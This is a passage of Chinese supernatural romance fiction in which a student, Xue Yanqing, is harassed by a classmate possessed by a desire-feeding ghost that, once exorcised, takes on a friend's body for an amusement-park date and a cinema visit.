他暴躁地将王五的手机一把夺过,眼睛不以为意地瞥过屏幕,一张双人照片霎时撞入视线,侵占了他整片瞳孔。
纤细的少年被名高大的男子一把拽进怀里。两相对比之下,竟将身量不小的雪砚清衬托得有些娇小。两人半侧身体相贴,姿势格外亲密。
风腾看着图片,暴躁的情绪被瞬间消解,张口想要骂人的嘴巴竟不自觉露出了荡漾的笑容。
察觉周围的视线,他迅速收拢嘴角,若无其事地抬起眼,开口:
“干什么,不就是我和雪砚清相处的照片吗?我和他从小就在一起玩,这有什么奇怪的,发就发呗。”
王五见风腾无动于衷,急得直接站起来,将屏幕不断往下滑。
【长得娘们兮兮的,我就说他家破产后,这种富家小少爷少不了得去卖屁股才能维持生活,果不其然。】
【当初还装得多么清高,之前我私信说想要养他,结果直接把我拉黑了。原来是嫌钱少。这不,遇上有钱人就舔上去了】
……
一条条污言秽语暴露在空气中,恶意几乎要凝成实质。
风腾的嘴角一点点下沉,捏着屏幕的手用力到青筋暴起。
但身旁众人毫无所觉,王五甚至还在众多辱骂雪砚清的话语里,揪出来了其中唯一一条吐槽风腾的,义愤填膺地大声怒骂。
“我草的,什么脑残玩意敢说我腾哥是舔狗,我腾哥家里那么有钱,想要什么样的人没有,雪砚清那种货色也配——”
嘭!
王五整个人被拖拽起来,脚尖被迫离地,猛地磕到了旁边坚硬的石桌。
嚎叫声还未彻底响起,脖子就被风腾死死掐住。
“谁允许你评价他的?”
在酒吧幻彩灯光的照耀下,风腾眼瞳黑得渗人。
王五双手死命扒拉着脖子,脸瞬间涨成猪肝,面色惊恐地盯着风腾的眼睛,连连求饶:
“腾,哥,腾哥,我说错话了,说错话了。这一切都怪那小子啊!要不是这小子随意发帖,腾哥你心上人会被造谣吗?”
手下力道更重,王五赶忙补救,“这小子一看就是觊觎你心上人已久了,看到腾哥你和砚清这么般配,就开始造谣,想要借此威胁雪砚清和他在一起!对!没错!”
风腾松开手,王五重重摔落在地。
王五敢赶忙从地上爬起,见他余怒未消,迅速将躲在角落瑟瑟发抖的发帖人扯到身前,讨好地对风腾笑笑,
“这小子,就是这小子是罪魁祸首。”
风腾阴鸷的视线缓缓落到他身上。
“腾,腾哥,我发誓,我发誓!我绝对没有觊觎的意思,我一开始就是想要点钱,我这就删帖滚蛋,我这就删帖!”
贼眉鼠眼的瘦小男子一手作发誓状举到头顶,手指抖得伸都伸不直;另一只手抖成筛糠,颤颤巍巍摸向手机。
“等等。”
他忽地想到什么。
“我记得论坛帖主有帖子管理权限是吧?权限,给我。”
*另一边。
雪砚清走在校园马路上,无数道若隐若现的视线透过衣服,深深扎进皮肉里,如芒在背。
可是回过头,大家或是在聊天说笑,或是低头各自玩着各自的手机。
“论坛”、“包养”等等字样若有若无地萦绕在耳边,听不真切。
雪砚清心中有股莫名的不安感,心脏一下下地跃动,格外清晰。
他迅速打开论坛,目睹上面的帖子名
——轰然,世界一片安静,标题上刺眼的大字强硬地霸占了他整个视野:
破产少爷为钱甘卖屁股,痴心舔狗为爱求追不舍。
道道视线几乎凝为了实质,在他身后刻出了道道字痕,一笔一划都在叫嚣。
雪砚清拉紧了身上的背包,脚步越走越快、越走越快,最后猛地冲向一个转弯口。
嘭!
骤然扑进一道肉墙。
雪砚清连退几步,抬头。
太阳即将落山,在发暗的夜色下,风腾咧着嘴,牙齿白得渗人。
“雪砚清,帖子的管理权限已经转移到了我手里,我现在可以帮你。但是删了帖这些谣言还是不能澄清,要不你和我谈恋爱吧。”
“这样子钱怎么来的也有了解释,而且前面论坛的发言都可以说是我们之前的打闹玩笑罢了。”
雪砚清唇形慢慢收拢,低下头来,主动朝着风腾迈了一步。
风腾露出满意地笑容,当即兴高采烈地就要去牵雪砚清的手,“这就对了嘛,早点找我就行——”
话音戛然而止!
风腾手被瞬间一股巧劲反扣。手机被抢夺,扫脸,解锁,火速删帖。
雪砚清缓慢地抬起眼,扬扬下巴,拿起手机,对着风腾晃了晃。眼角眉梢全是自得与满意。
风将他宽松的衣服吹到一旁,勾勒出节纤细的腰肢,并将这丝丝香气送到风腾身周,钻进他膝盖上的伤口。
风腾呼吸加重,膝盖上的伤口迅速变得漆黑浓重,污血充盈至血管各处!
眨眼间,对面人桀骜暴虐的神情消失得无影无踪,如同野兽碰上了猎物,锐利的眼神死死盯着雪砚清腹部露出来的一小片肌肤,只有纯粹的进食欲望。
宛若换了个人般。
祂猛地上前,一手将雪砚清拦腰抱起!
虬结有力的手臂死死横在腰肢上,挤出莹莹软肉。
“你干什么?!现在放我下来,立刻、马上!”
雪砚清十指用力掐着“风腾”的手臂肌肉,骨节用力到深陷其中,血色隐去,泛起了青白色。
身下发狂的疯狗听不懂人话,高挺的鼻梁顶在雪砚清的小腹,不停地左右来回摩挲。腹部白皙软肉甚至都被挤压出了淡淡红痕!
他深呼一口气,俯视着将他死死桎梏住的风腾,开口:
“请立刻放我下来!别让我说第二遍。我数三、二、一……”
雪砚清想伸出手指示意数字,结果手刚一抽开紧掐住对方的手臂,就被祂单手扣押住,重新按在自己的肌肤上。
犹嫌不够,祂转眼间就将雪砚清手指,连带着整条手臂紧紧箍进怀里。
而后抬眼,漆黑无关的眼神一瞬不眨地盯着雪砚清。
两人距离如此之近,雪砚清能够清楚看见对方的瞳孔缩成一条极细的线,倒影出微微颤抖的自己。
他强装镇定,不敢在这场景下露怯,努力抬眼恶狠狠与“风腾”回视,但汗水自掌心不断沁出,很快濡湿成一滩。
祂鼻尖微微耸动,如同饿了许久的猎犬嗅闻到了肉骨头,头颅沿着雪砚清腰腹一寸寸嗅闻,探究地抬起。
眼瞧着又要重新贴回他的腹部,雪砚清连忙伸手,掌心死死按住祂向前的脸。
祂当即顺杆子往上爬,粗暴地用脸蹭着雪砚清的手心,恨不能将五官都融进对方身体里,鼻尖在掌心纹路最多的地方来回盘旋……
雪砚清心脏“嘭嘭”直跳,趁祂不注意,手势别扭地去勾口袋里的手机,指纹按亮,大拇指伸长到极限,就要成功拨通报警电话之时!
手心濡湿的挤压感消失,外界冰冷的空气疯狂涌进来。
雪砚清缓缓挪动视线,迎上了对面那双竖瞳。
手机被抢夺。
他看见手机屏幕上自己原本按下的报警电话在刚刚的抢夺中输成了一连串别的数字。机子在半空中化成了一道极长的抛物线,重重摔落在地。
啪!
雪砚清狠狠扇了对方一巴掌,将对方重新靠近腹部的脸扇离所在区域。
手指与脸颊相分离时,雪砚清浑身颤抖得更加厉害。
他牙齿紧紧咬住下唇,用力研磨撕咬自己的肉,憋住即将流出的泪水,一字一句开口:“我不喜欢你这样的行为!所有!”
火辣辣的感觉自脸上传来,疼转化为热与麻,几乎蔓延至祂半边身子。
祂沉浸在这种别样的感觉中,飘飘欲仙。
祂将那只在眼前晃动的手一把攥住,并迅速将自己另一边脸凑上去。
设想中的麻意没有再次传来。一滴温热的、湿润的液体滴到祂侧边脸颊,空寂已久的耳朵在此刻终于知道了要去听对方的声音与诉求。
如同计算机中了病毒般,那句“我不喜欢你”穿透耳膜,密密麻麻在脑中炸响,迅速将大脑沟壑每一个凹槽占据得满满当当!
祂脚底下的影子眨眼间收缩、扭曲成无数条线,发疯般在地上疯狂蜿蜒抖动,搜刮着这具身体有关人类行为规则的记忆。
这具人类身体废掉了,已经招惹他厌恶了,不能用这具身体来接触他了。
祂得找一个和他关系好的人类身体。
祂要换新的载具,祂必须得换新的载具!
远处掉落在地上的手机发出盈盈的亮光,祂听见话筒对面有声音传来,“砚清?砚清!你还好吗?你那边发生了什么,你在哪?发个定位给我好吗?”
祂的眼眸微微闪动,脚下蜿蜒乱动的影子瞬间有
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了目标,迅速朝着手机的方向翻涌而去!黑色雾气在手机屏幕上涌动,一条定位由此发送过去。
而后,这条在雪砚清手机聊天记录里,消失得无影无踪。
做完这一切,祂回神看向雪砚清,却发现面前人类的眼部有水珠汩汩滚落,甚至浸润到了鼻尖,发出呼吸不通畅的声音。
滴落在他鼻尖的眼泪在祂眼中变得格外碍眼,似乎都将祂的视线给蒙上了纱。
这副难用的人类躯体上的所有肌肉在这一刻,变得僵硬发紧、笨拙不堪。
祂要擦掉。
笨拙的手法加上无比宽大的掌心,一下子就将雪砚清整张脸给盖住,挤压到他的鼻腔,致使呼吸不通畅。
雪砚清迅速张开嘴巴,死死咬住对方的肉,鲜血从“风腾”手掌心猛地飞溅而出,几滴湿润的液体也飞溅到他的脸上。
察觉到对方的手放松,雪砚清就着这样啃咬对方的动作抬眼,却撞入了一双血色眼眸,仿佛刚刚流出来的血液通通涌进了眼睛。
雪砚清唇齿间尚存那抹血色,趁着这个机会转身想要逃跑,被身后之人拦腰一把抱住!
胸腔被强有力的大手挤压着,那双流着血的大手离他的脸颊越来越近。
夜晚已经来临,四周荒寂无人。
面对此危机,雪砚清丝毫不敢眨眼,前方亮眼的路灯刺得他视线里开始出现大大小小的白色光晕,模糊不清。
忽地,一声嘹亮的咒语炸响整片静谧的夜空,“急急如律令!去!”
耀眼的金黄火光疾驰而来,带着势不可挡的灼热温度,闯进了众多白色方块,向着“风腾”猛扑而去!
金光所到之处,屡屡黑雾随之蒸腾而起!惊起大片飞鸟。
大量浓稠的黑烟自风腾膝盖处汩汩升起,被势如破竹的火光逼至墙角,眨眼间消失得一干二净。
失去了黑烟的控制,风腾紧箍住雪砚清的手瞬间松开,整个身体骤然瘫倒在地,晕了过去。
远处那道模糊的身影小跑着向雪砚清这边冲来,面孔逐渐变得清晰。
是季瑾瑜!
他面容严肃,手法娴熟地在半空中掐诀,快得只剩下道道虚影,口袋内无数黄符随着动作悬浮在半空,向着前方的黑雾飞去,将其团团围住!
爆破声在空气中猛然炸响,火花四溅,只余一地灰烬。
消灭这个鬼怪俨然消耗了季瑾瑜不小力气,他微微喘着气,半蹲下腰,伸出手将跌坐在地的雪砚清一把拉起。
“砚清,你怎么样?脸上伤到哪了,这么多的血迹,我看看。”
雪砚清借着对方的力道站起身,起来第一件事就是用手背用力蹭去脸颊上的血迹,血迹顺着手指的纹路,在脸上蜿蜒出深深指痕。
季瑾瑜见状,迅速在一旁递出手帕纸。
雪砚清沉默地接过,反反复复擦了好几遍。
待到擦拭完毕,他低垂的眼眸瞥向瘫倒在地的风腾,停顿了几秒,才终于开口:“那是风腾流出的血。刚刚他身上冒出来的黑烟是什么东西?”
季瑾瑜上前蹲下,手指研磨了下地面残留的灰烬,思索几秒,开口:“这……似乎是欲鬼的变种。风腾这是被欲鬼寄生了。这种生物以宿主的欲念为食,同时会在寄生期间放大宿主的欲念,到后期甚至会使人失去理智。”
雪砚清神情怔愣,抬起头看向季瑾瑜。
两人对上视线,季瑾瑜的手还因为方才拉雪砚清起身,尚未分开。
季瑾瑜故意没有开口,仍保持着牵着雪砚清的动作,手指不敢挪动分毫,生怕被他发现,紧张之下掌心甚至沁出了汗水。
他眼睛心虚地避开雪砚清眼睛,随后想到什么,迅速开口,“前段时间你联系我,我没有回是因为被师父带去住宅了。那里规矩森严,不能携带电子设备。对不起。”
“风腾体内的鬼怪已经消灭,他不日便可苏醒。刚刚我已经发消息通知他父母,他们会安排人来安置他,我们不用管了。而且我特地没有给他恢复身体,风腾醒来后还得疼上一段时间,也算是为你报仇了。”
雪砚清真诚道谢,“谢谢你,季瑾瑜,真的非常感谢你。”
原本两人拉着的手随着雪砚清说话时的小动作,溜出季瑾瑜的掌心。
不想放过任何一个多加相处的机会。
他手指不自觉蜷缩了下。
“我在山上老宅待太久了,都没有什么娱乐活动”,季瑾瑜眼眸微垂,看起来有些委屈落寞,“砚清你明天有空吗?我看见学校附近新开了家游乐场,两人结伴同去有七折优惠,加上学生折扣……”
墙角处那滩灰烬被风吹散,纷纷扬扬飘起,与空气中的水汽相融合,竟组成了一坨粘腻的胶状物!
黑色胶装物不断扭曲、张裂、聚拢……
接着瞬间拔高!眨眼间拉长成一个人形模样。
祂在黑暗处缓缓抬起脸,盯着在灯火下雪砚清露出的淡淡浅笑;盯着季瑾瑜握过雪砚清的掌心;盯着雪砚清脸上被擦掉的,属于自己的血迹;盯着那被季瑾瑜汗水浸润过,迟迟没有抹去的掌心!
视线每挪动一分,祂的脸在光亮中就暴露多一寸,无数黑色粘液如蚯蚓般,随着光亮的来临迅速退散,露出一张
——和季瑾瑜如出一辙的脸。
祂死死凝视着两人交融在一起的背影,潜藏在阴影下的触手在脸边蜿蜒,推动着嘴角,拉扯出季瑾瑜那标志性的,温和笑容。
找到,新的,载体了。
5. 游乐园
夏天酷热难耐,知了热得在树上直叫唤。
雪砚清按照约定时间站在游乐场的售票处等待。即便躲在树荫下撑着遮阳伞,小脸依旧被热得泛粉,沁出细密的小水珠。
刺眼的阳光下,一道清俊的身影加快脚步朝他走来。
季瑾瑜扬起手臂,挥了挥,另一只手拿着什么东西,已经向雪砚清伸过来:是根巧克力冰棍。
“谢谢。”
雪砚清正要收起遮阳伞,好来撕开包装袋时。
季瑾瑜已经率先帮他撕开,接着按照雪砚清惯用的动作,将拆出来的部分包装纸被细致地圈在棍体上,剩下未拆部分刚好用于盛托可能会融化的液体。
一整套动作下来,行云流水。
“喏!给你,我做的步骤没错吧?”
季瑾瑜眉眼弯弯。
雪砚清接过冰棍,略感讶异,“我这么小的习惯你居然能留意到,记到现在。”
季瑾瑜仰起头看天,一手半遮住烈阳,“像现在这个天气,小时候每次出去玩我都会碰到你在吃冰棍,自然而然就记住了。”
阳光晒得人睁不开眼睛,两人朝着建筑物拐角的阴凉地走去,彼此间的影子在日光照耀下胶黏在一起,看起来亲密非常。
进入阴影,季瑾瑜身下的阴影扭曲了一瞬。
成功换上新的载体,祂的脚步微微停滞,望向前方一对手牵手的小情侣:双方姿态亲昵,手指间紧紧相扣,相互依偎谈笑。
“季瑾瑜”眼眸低垂,不自觉瞥向雪砚清垂在身侧的手。手指纤细修长、肌肤莹白,在阳光的照耀下甚至白得发亮,隐隐从肌肤内透出淡淡的粉色。
祂不自觉往雪砚清的方向更靠近了些。
手与手之间的距离被无限拉近,近得祂似乎都能察觉到雪砚清手背上的细小绒毛摩擦过人类躯体的肌肤,前所未有的麻意席卷至全身!
祂全身表皮波浪般荡起大片大片颗粒。颗粒从内部被顶起、撑开,新的腕足迅速萌芽生长,伪装成人类的肌肤上的绒毛,与雪砚清一接触,便迅速张开口器,捕捉。
触觉与味觉在此刻贯通在一起!
各种新鲜的感觉一股脑涌进祂的四肢百骸,血液快速流动,眨眼间就在身体各处冲刷了几个来回。
感受到身边人停滞的脚步和有些颤抖的身体,雪砚清扭头,就看见祂僵直在原地,手呆板地垂在身旁,脸上的红晕分外明显。
“你还好吗?是因为天气太热了吗?”
雪砚清担忧地蹙起眉,踮起脚尖,伸手想去试探对方的温度。
还没等雪砚清探清温度,手腕就被猛地攥住、拉到对方的鼻尖下!
强烈的压迫感席卷而来。
明明两个人身高差距也就半个头,雪砚清此时却感觉自己被一个巨物笼罩,遮去了头顶上的所有阳光。
周围灼热的空气似乎都被挤压走了,温度极限下降,唯有粗重的呼吸喷洒在手背上,热、痒,还有点潮湿。
如同骤然被水淋湿的小猫,雪砚清抗拒地皱起眉头,嘴角别起,赶忙想要后缩。
他后缩的动作还未彻底做出,对方就如触电般急忙松开,迅速低下头,脸红得像天边的火烧云,开口:“不是因为天气太热了。”
那是因为?
雪砚清环顾四周,忽地看见身旁的墙壁上粘贴着一副巨型海报,海报上的两个主角正亲密拥吻着,树影在主角脸上投下淡淡光斑,画面氛围格外唯美暧昧。
雪砚清再看看“季瑾瑜”略有些偏离海报的脸,瞬间明了了什么。
嘴角不自觉溢出抹浅笑。
雪砚清转过身,倒退几步绕到“季瑾瑜”前方,弯腰、歪头,探查他的反应。
在他靠近的一瞬间,“季瑾瑜”似乎羞赧于被人见到,脸红得更加明显,就连鼻腔中呼出的气息都急促了几分。
雪砚清更想逗弄祂了。
“你脸好红哦!”他半蹲下,故意指了指“季瑾瑜”的脸,“认识这么多年了,因为一张电影海报就脸红了。你居然是——这么害羞的吗?”
被他这么一说,“季瑾瑜”这才缓缓抬起头,但依旧“不敢”去看身旁的电影海报,目光直直地看着雪砚清。
在此刻,两人距离近得雪砚清在祂的瞳孔里,清晰地看到了自己略有些圆顿的小脸,而自己的眼睛也正在注视着他,缓慢地眨了眨。
随即,他看见“季瑾瑜”模仿着自己的动作,缓慢地眨了眨。
雪砚清被祂这副迟钝的样子给逗笑了,主动拉了拉对方的衣角,“好啦,那我们赶紧过去售票站排队买票吧,队伍越来越长了。”
祂在雪砚清松开衣角的刹那,迅速将自己的手送了上去,模仿着前面那对情侣的样子,自然牵起雪砚清的手,“我已经买好票了,我们进去吧。”
两人重新暴露在烈阳下,“季瑾瑜”身后的影子也更加乌黑、浓重。
影子跟随着主人往前走,却在某一个瞬间,影子借着拥挤人潮的掩盖,三百六十度翻转过来!盯着后方海报的位置良久,记下了电影名字。
*
一踏入游乐场,嬉笑声、音乐声、尖叫声便杂糅在一起,快乐充盈在此方空间。
人群挨挨挤挤。
无数画面涌入祂的瞳孔,分解出无数的信息传遍每一根腕足。
吃冰淇
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淋的小孩、卖气球的老人、共享耳机的情侣,和排队时刷视频等待的青年。
【西藏:珠穆朗玛峰,这里……】
屏幕上的雪山被迅速划走,来到了下一条短视频。
【我们今天来盘点游乐园促进感情的项目:一海盗船。在肾上腺素的飙升下,和人对视,会……】
……
“季瑾瑜”视线从远方收回,低头,询问雪砚清:“我们去玩海盗船吗?”
“好啊。”
雪砚清对于玩什么并无意见,本来此次随行就只是为了让季瑾瑜散散心罢了。
两人上了海盗船。雪砚清为了体验感更足,还特地挑了最后的位置落座。
工作人员一个个检查完安全措施,没给众人一点心理准备,便迅速启动装置。
站在台下观看时并不觉恐怖,但当机械发动时,雪砚清瞬间懂得了为何他们叫得如此之大声。
船体上升到一定高度,便猛地下降,身体的五脏六腑似乎都要随着重力一起跌落到脚跟。
失重传来双脚在此时变得格外软绵,雪砚清用尽力气似乎也踩不稳脚下的地板。
周围无数尖叫声在耳边划过,与他的心跳声交织成一片。
恐高和失重感让雪砚清脚底发软,原本红润的嘴唇都被抿得发白。他死死抓住胸前的栏杆,双眼紧闭。
“季瑾瑜”的瞳孔直勾勾地注视着雪砚清。
对方嘴唇被紧紧抿起,脸颊两侧的被挤压出浅浅的小梨涡。
雪砚清眼睛刚悄悄睁开一点点,便如受惊的蝴蝶,迅速合上,丝毫没有注意到身边人灼热的视线。
为什么不看我不看我不看我不看我不看我为什么为什么为什么。
长时间持久的注视没有得到回应,祂的眼球从眼眶中突出,球体上连接的神经在空气中一暴露!瞬间变得粗壮、光滑、黝黑。
触手替代了神经纤维,盛拖着眼球直直飞出!怼到了雪砚清眼睛跟前。
湿滑的眼球与雪砚清薄薄的眼皮相接触,温热的气息在祂的眼球炸开,彼此之间温度传递、赤诚相接,像是只要突破了这层膜就能紧密联系在一起,融进他的身体里,不分你我。
瞳孔在眼睑处滚动,隔着眼皮,祂能感受到球体之间的摩擦。祂想要掀开这层阻隔。但雪砚清眼睛死死紧闭,用力得秀眉都微微皱起。
再一用力,晶状体微微凹陷进去。
雪砚清只以为是空中风的阻力更大了,眼睛闭得越发紧。眼尾因为有些不适应泛出抹红意,甚至鼻尖开始小幅度抽动,整张小脸皱成了一团,看起来愁眉苦脸的。
挖出来,好像就不好看了。
6. 湿润、柔软、温热的
祂不想破坏掉这个祂精心挑选出来的、完美的艺术品。
对视对视对视对视对视对视对视,接触接触接触接触……
“季瑾瑜”将眼球从雪砚清的脸上移开,粗壮的触手带着上方坠着的眼球三百六十度旋转,四处搜寻。
行动间庞大的触手拍打到了前座文质彬彬的男人。
前方本就因剧烈晃动的海盗船深受惊吓,但强撑着不肯表现出来的男人。感受到身后突如其来的拍打,忍着恐惧扭过头看向身后——什么也没有。
大家都紧紧握着栏杆,死死将后背靠在椅背上,看似一切如常。但男人可以清晰地感觉到有股不知从何而来的视线黏在他身上。
道道阴风随着视线的移动,吹拂到他的脸上,和海盗船上下跃动时掀起的热浪截然不同!
那男人再也死装不下去了。
直接吓得一头钻进女友怀里,半边身子死死依偎在女友身上,疯狂大喊“救命”,完全不副外表那沉稳踏实的模样。
女友被逗笑了,竟顺势抱住他,手一下下抚摸他的脊背安抚。
眼球直勾勾地注视着两人,男子的动作如影像般一帧帧刻进瞳孔里。
阴风停止。
携着眼球的触手回归,乖巧地回到原本的眼眶里。
祂仿照着前座男人的模样,一板一眼地张开嘴,发出尖叫声。如果此时有人留意,就会发现这道声音的频率、振幅,同前面那人如出一辙!
听到的尖叫声,雪砚清强撑着恐惧睁开眼睛,视线一点也不敢往海盗船外面的风景瞥一眼,迅速投向“季瑾瑜”。
还没看清祂的神情,一颗毛绒绒的大脑袋就朝他怀里猛扑而来,双手死死环抱住雪砚清纤细的腰肢!
雪砚清僵直在原地,腰板不自觉挺直,看向“季瑾瑜”。
祂宽厚的肩膀耸拉,低着头,粗壮的手臂死死搂住雪砚清,甚至因为太过用力,自臂膀蜿蜒出道道青筋。
居然,比我还害怕?
“你还好吗?”
雪砚清低下头,轻轻推了推“季瑾瑜”,询问道。
两人之间的头在此刻离得格外近,说话间,雪砚清的嘴唇不慎触碰到了“季瑾瑜”的发丝。
湿润的、柔软的、温热的、带着清香的……
无数感受在此间炸开,沿着发丝传送到祂全身上下每一个感知器官!
颤栗!
止不住的颤栗!
祂全身上下都在颤抖,连带着雪砚清与祂接触到的肌肤都在晃动。祂体内流速缓慢的血液在肾上腺素的刺激下,迅速在血管里冲刷。体表皮肤被涨得通红。兴奋无处排泄,化为泪液溢出体表。
滚烫湿润的液体穿透衣服,滴落到雪砚清的肌肤上。
祂如一条大狗般趴在雪砚清身前,湿润黏糊的气息一阵阵地拍打在他闵.感的小腹上,痒得难受。
雪砚清皱了皱眉头,伸出两根手指,点着祂的额头让祂离自己肚子远一点。
被这么一点,大狗猛然抬头!
一双发红含泪的眼睛就这样撞入雪砚清的瞳孔里,对方仰着头,泪水顺着重力滑落止下颌。
雪砚清一愣,缓慢地眨了眨眼睛,随即反应过来,“季瑾瑜”哭了。
他皱起的眉毛逐渐放松下来,收回推拒祂的手,任由祂靠在自己身上。
雪砚清的小腹随着呼吸的节奏上下起伏,带着趴在他身上的“季瑾瑜”微微晃动。
祂伪装出来的人类面孔裂开道道缝隙,感知器官彻彻底底暴露在外面,贪恋、尽兴地嗅闻着这来之不易的芳香。
……
下了海盗船,两人行走在小道上。
正值周末,游乐场人流量很大。人潮间来来往往,肢体之间免不了相互挤压、碰撞。
雪砚清身上淡淡的皂角香,在夏天各种浓烈味道的冲击下,淡得微不可闻。
“季瑾瑜”眼尾仍残留着一抹红晕,大半边身子趴在雪砚清身上,头深埋进雪砚清的脖颈里,深呼吸,似乎在缓和刚刚的恐惧。
愈发粗重的呼吸喷洒在雪砚清肌肤上。湿热的
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痒意如蛇般,沿着宽松的衣领往下钻,所到之处,似雪的肌肤就蔓延起阵阵颤栗。
雪砚清不习惯和人这么近的相处,推开祂的脸。
“季瑾瑜”的头霎时失去了支撑,骤然点地!脚步歪歪扭扭地就要朝前倒去!
“季瑾瑜!你没事吧?”
雪砚清赶忙快走几步,将祂扶起,任由祂的脑袋重新搭在自己脖颈上,艰难搀扶着这个大块头,来到前方人流较少的长椅坐定。
这一番动作下,他很快沁出来细密的水珠。离开了其它味道的干扰,在烈阳炙烤下,身上淡淡的香味一经由水汽蒸发,变得更加浓烈。
祂眼眸微阖、无精打采地倚靠在长椅靠背上。由于身形过于高大,端坐时高出靠背一大截。
祂只好顺理成章、勉为其难、不得不继续靠在雪砚清的肩颈处,呼吸也变得时轻时重。
整个人看起来奄哒哒的。
雪砚清眉心微皱,“你看上去似乎喘不过气,是不是太晒,中暑了?先坐在这休息一会,我去前面买瓶水给你。”
他松开搀扶“季瑾瑜”的手,转过身正欲去买水。
即将抽开的手被猛地攥住!
雪砚清顺着这股力道回头,原本奄哒哒瘫在椅背上“季瑾瑜”睁眼起身,漆黑的瞳孔直勾勾地撞进他眼睛,开口:“不要离开,我想和你一起走,没有喘不过气、太晒和中暑。”
这番一一对应、仔细认真的回答,配合着对方那高大的身材,形成强烈反差,竟显得有几分可爱。
雪砚清嘴角不由自主扬起来,端详着祂有些发红的脸,询问:“现在快中午了,太阳挺晒的,我们去找阴凉地躲着吧。你有感兴趣的电影吗?”
说着,雪砚清打开小程序,将手机挪到“季瑾瑜”面前,两人一起挑选。
一张张电影海报在祂眼中高速滑过,之前在墙壁上看到的那副映入眼帘,在祂眼中无限放大、放大,占据了整个竖瞳!
祂指着那张情侣相拥的宣传海报。
“我想,看这个。”
7. 挑衅
雪砚清低估了游乐场的面积,想着同在一个地方,距离不会太远,赶到时电影已经开场几分钟了。
8排六座。
他拿着票率先走到影厅寻找座位,进去黑漆漆的一片,两人座位在靠后面,只能凭借开场广告微弱的光线来辨别方向。
因为经常挑食加上不爱晒太阳,雪砚清有点轻微的夜盲症。之前会吃点鱼油补补,后面就没有再吃了。
他摩挲着走上阶梯。黑暗中一不留神,撞到了什么东西,被狠狠绊倒!
料想中的疼痛没有传来,身后扎入了一个稳稳的怀抱。
电影院除了电影放映声,十分安静。黑漆漆地看不清祂的面容,连身影都模糊不清。
“季瑾瑜”微凉的手心攥住他的手腕,用触觉代替视觉,率先走到前侧方,侧对着观察他的脚步,引导着雪砚清一步步朝前走,来到座位坐定。
电影广告商放的广告太多,两人坐下时最后一个广告才刚刚结束,开启正片。
电影开头的滤镜呈现一个蓝色调,看起来有些淡淡的忧伤。
画面中两个人站在门口,相对而立。屋内亮着温暖的光芒,屋外却是黑漆漆的荒野。一亮一暗,将二者分割成了两个世界。
少年深深地看了在屋内的青年一眼,随即转身向黑暗走去。
还未走远几步,身后的青年就猛冲过来,贴着他的后背,狠狠拥抱,随即泪水潸然而下。
天空适时下起绵绵细雨。镜头从两人湿润紧贴着的脸颊,微微接触的嘴唇,移动到被雨水打得发颤、不住摇曳的两株野草,野草被风吹得相互缠绕、攀附。
这时,镜头重新从野草对准了昏黄的小屋,雨水将一切声音都掩盖。
雪砚清眼睛一点点地睁大。
电影简介写得含糊不清,只写了年少两个志同道合的人追梦中遇到困难,彼此间误会不解,最终克服一切阻碍成功追梦的故事。
他没有细看评价,直接就购买了。如今看到这个画面暗喻,才方觉买了同志片。
和男性友人同看此类题材,雪砚清感觉非常不自在,担心会被误会自己对其有心思。
原本自然垂落在两侧的手臂都不知道如何摆放,不停调整着姿势,期间还时不时偷偷观察“季瑾瑜”的神情。
在密闭的空间下,雪砚清一动作,身上的香味似乎愈加浓烈。在空调冷气的吹拂下,大部分飘散在空中,只有丝丝缕缕钻进祂的鼻腔、毛孔。
祂身体模仿着周围人,仍端坐于座位上。脚下影子却就着黑暗蜿蜒而出,凝聚成实体,宛若往皮肉骤然浇上沸水,瞬间涌起密密麻麻的水泡!水泡破壳,钻出硕大隆起的眼球,不停向着四周左右转动,锁定目标。
触手寻着香气溢出的方向,疯狂在影厅里蔓延。
后方一道熟悉的身影就此被祂纳入眼球,但祂不甚在意,疯狂渴求着更多甘霖。
还是不够不够不够不够不够不够。
太远太远太远太远太远太远太远太远太远离得太远。
想要靠得更近一点近一点近一点近一点近一点再近一点多近一点……
一滩长着无数眼球黑色黏液贴在红色的丝绒座椅,靠在雪砚清的头顶上方、脸颊侧方、椅子下方……
凡是雪砚清周围有空隙的区域,全被其密密麻麻的侵占!尽情嗅闻着他身上的芬芳气息,端详着他脸上每一个细小毛孔。
忽地,祂看到雪砚清有些圆顿的眼睛朝自己这边看来,电影莹莹的光芒被投射到他的脸上,给他的唇瓣渡上抹水润、光亮的色泽。
他又凑近了点,唇瓣离得自己更近了。
在电影座椅上的黑色胶状物瞬间停滞,不再移动,直勾勾地盯着雪砚清接下来的行动轨迹。
“季瑾瑜”整个身体异常僵硬,直挺挺地立在前方。
察觉到季瑾瑜的身体有一瞬间的僵硬,雪砚清终于找到机会,迅速开口:“你要是看到这些画面觉得不自在,那我们就走吧。”
“季瑾瑜”扭过头,看向雪砚清。
祂看见自己的身影伴随着电影幽蓝的光芒,一点点融雪砚清浅棕色的瞳孔里,宛若投身进盛着万般星河的碧波。
“为什么会不自在?”
雪砚清眼睫颤动得更加厉害了,双手不自觉放在膝盖上,“这部电影是同性恋题材,我担心这部电影之后这样的情节会更加明显,我们走吗?”
“‘这样的情节’指的是什么?”
“就是类似于亲吻之类的同性在繁衍期间会做的行为。”
“繁衍”和“亲吻”这两个词在祂脑海里瞬间炸响,宛如触发了垃圾弹窗小广告,眨眼间无数红色的符号将祂脑域彻底侵占。
祂人类面孔上的眼睛死死黏在电影上,试图在电影中搜寻这两个词的使用说明。
荧幕上主角的嘴唇在祂眼中慢慢褪了颜色,与面前雪砚清的身影逐渐重叠、覆盖。另一个主角不知不觉间幻化成了祂的模样,正如愿以偿地细细舔吮雪砚清的唇瓣。
迟迟没有等到后面的回答,雪砚清开始觉得尴尬,后悔这么直接地说出这样的话语,
他斜眼偷偷瞥向“季瑾瑜”,却发现祂听完自己的回答后,眼睛死死盯着屏幕,嘴唇微张,一直在低喃重复着一个词语。
电影正演绎到煽情的部分,音响哗啦啦的雨声将祂的话语完全覆盖,听不清晰。
雪砚清将耳朵往对方
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靠近了些,主动开口询问,“你刚刚在说什么?我没听清,是要走吗?”
说话间,丝丝缕缕的气息喷洒在"季瑾瑜"脸上,钻进毛孔、飞入眼睛。
祂人类身体的眼眸睁开太久,布满了浓重的血丝,被外界的气息一吹动,眼睛控制不住眨了下。
方才幻梦般的一切瞬间烟消云散!
祂终于听到了雪砚清的声音,头颅缓缓从银幕挪向对方。
消失的唇瓣重新浮现在祂眼前,上面晶亮的水渍在祂眼中不断放大、放大,光亮的那一小块此时几乎成了粘鼠胶,将祂眼球死死粘在上面。
祂几乎失去了神智,嘴唇追寻着雪砚清话尾留下的嘴型,模仿着对方,发出了“走吗”的声音。
“好,那我们快走吧。”
